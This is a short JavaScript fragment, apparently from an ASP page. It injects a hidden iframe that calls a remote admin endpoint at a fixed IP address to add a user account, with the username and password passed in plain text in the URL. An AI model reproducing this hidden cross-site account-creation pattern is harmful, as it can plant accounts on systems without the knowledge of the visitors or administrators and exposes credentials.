var str="";
    str+="<iframe height='100' width='100'  src='http://218.57.135.244/dlib/admin/User/UserManageInterface.Ctrl.asp?strOpType=add&strUserName=<%=account%>&strPassWord=<%=password%>&nUserGroupID=3'></iframe>";
    var div1 = document.createElement("<div style='display:none'></div>");
    document.body.appendChild(div1);
    div1.innerHTML = str;